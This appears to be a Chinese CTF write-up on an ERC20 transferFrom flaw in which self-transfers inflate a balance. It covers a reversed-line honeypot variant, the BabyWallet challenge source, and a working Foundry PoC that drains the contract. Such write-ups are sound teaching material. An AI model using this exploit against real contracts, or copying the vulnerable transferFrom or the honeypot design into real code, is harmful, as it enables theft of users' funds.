由于 transferFrom 未对传入的参数进行校验,若 from 和 to 为同一地址时,会产生两种截然不同的反应
有些 CTF 题目中,并未使用 OpenZeppelin 等合约安全库,而是自己写的 ERC20 合约,其中未对 transferFrom 传入的参数进行检测是一个很严重的问题。
我们来看一段不安全的代码:
function transferFrom(address from, address to, uint256 amt) public {
uint256 allowedAmt = allowances[from][msg.sender];
uint256 fromBalance = balances[from];
uint256 toBalance = balances[to];
require(fromBalance >= amt, "You can't transfer that much");
require(allowedAmt >= amt, "You don't have approval for that amount");
balances[from] = fromBalance - amt;
balances[to] = toBalance + amt;
allowances[from][msg.sender] = allowedAmt - amt;
}
首先检测 to
地址是否 被 from
地址授权足够的金额,以及 from
地址的余额是否大于要取出的金额。
接着,from
地址的 balance 减少,to
地址的 balance 增加,最后,减少 from
地址对to
地址的授权额度。
看起来这段代码并没有什么问题对吧?
但是,当 from == to
时,发生了一些意想不到的问题:
前面的逻辑并没有什么问题,问题出现在了第 10 行。
我们首先将 from
和to
统一称为attack_addr
。在第 9 行中,我们将 attack_addr
的 balance 修改为 fromBalance - amt
。这里没问题,而接下来在第 10 行中,我们将 attack_addr
的 balance 再修改为toBalance + amt
,而fromBalance == to Balance == attack_addr 初始余额
,对第 9 行中的对attack_addr
的修改进行了覆盖,这样,我们实现了增加我们 attack_addr
的余额,实际增加的金额为我们传递的 amt
参数。
接下来我们发散一下:
如果上述代码的第 9,10 行的顺序进行颠倒,会发生什么呢?
答案是:这个合约将变成一个蜜罐合约。
我们来分析一下颠倒顺序的代码:
function transferFrom(address from, address to, uint256 amt) public {
uint256 allowedAmt = allowances[from][msg.sender];
uint256 fromBalance = balances[from];
uint256 toBalance = balances[to];
require(fromBalance >= amt, "You can't transfer that much");
require(allowedAmt >= amt, "You don't have approval for that amount");
balances[to] = toBalance + amt;
balances[from] = fromBalance - amt;
allowances[from][msg.sender] = allowedAmt - amt;
}
当 from == to
时,发生了一些意想不到的问题:
同样,我们将 from
和to
统一称为attack_addr
。在第 9 行中,我们将 attack_addr
的 balance 修改为 toBalance + amt
增加了attack_addr
地址的余额。在第 10 行中,我们将 attack_addr
的 balance 再修改为fromBalance - amt
,而fromBalance == to Balance == attack_addr 初始余额
,第 10 行的修改覆盖率第 9 行的修改,我们成功减少了 attack_addr
的余额,这样,攻击者的攻击资金被锁在了我们的蜜罐中。
来源:cofCTF2023 BabyWallet(可以使用 Foundry 在本地进行测试)
源码:
pragma solidity ^0.8.17;
// BabyWallet.sol
contract BabyWallet {
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amt) public {
require(balances[msg.sender] >= amt, "You can't withdraw that much");
balances[msg.sender] -= amt;
(bool success,) = msg.sender.call{value: amt}("");
require(success, "Failed to withdraw that amount");
}
function approve(address recipient, uint256 amt) public {
allowances[msg.sender][recipient] += amt;
}
function transfer(address recipient, uint256 amt) public {
require(balances[msg.sender] >= amt, "You can't transfer that much");
balances[msg.sender] -= amt;
balances[recipient] += amt;
}
function transferFrom(address from, address to, uint256 amt) public {
uint256 allowedAmt = allowances[from][msg.sender];
uint256 fromBalance = balances[from];
uint256 toBalance = balances[to];
require(fromBalance >= amt, "You can't transfer that much");
require(allowedAmt >= amt, "You don't have approval for that amount");
balances[from] = fromBalance - amt;
balances[to] = toBalance + amt;
allowances[from][msg.sender] = allowedAmt - amt;
}
fallback() external payable {}
receive() external payable {}
}
// Setup.sol
contract Setup {
BabyWallet public wallet;
constructor() payable {
require(msg.value == 100 ether, "requires 100 ether");
wallet = new BabyWallet();
payable(address(wallet)).transfer(msg.value);
}
function isSolved() public view returns (bool) {
return address(wallet).balance == 0 ether;
}
}
Foundry 部署脚本:
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;
import {Setup} from "../src/Setup.sol";
import {Script, console2} from "forge-std/Script.sol";
contract Deploy is Script {
Setup target;
function run() external {
vm.startBroadcast();
target = new Setup{value: 100 ether}();
vm.stopBroadcast();
console2.log("setUp address:", address(target));
}
}
PoC:
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;
import {BabyWallet} from "../src/BabyWallet.sol";
import {Setup} from "../src/Setup.sol";
import {Script, console2} from "forge-std/Script.sol";
contract Hack {
Setup setup;
BabyWallet wallet;
constructor(address _setUp) payable {
setup = Setup(_setUp);
wallet = setup.wallet();
wallet.deposit{value: msg.value}();
}
function pwn() external {
wallet.approve(address(this), 100 ether);
wallet.transferFrom(address(this), address(this), 100 ether);
wallet.transfer(msg.sender, wallet.balances(address(this)));
}
}
contract Attack is Script {
function run() external {
Setup setup = Setup(0xA15BB66138824a1c7167f5E85b957d04Dd34E468);
vm.startBroadcast();
Hack hack = new Hack{value: 100 ether}(0xA15BB66138824a1c7167f5E85b957d04Dd34E468);
hack.pwn();
setup.wallet().withdraw(200 ether);
vm.stopBroadcast();
require(setup.isSolved(), "hack failed");
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!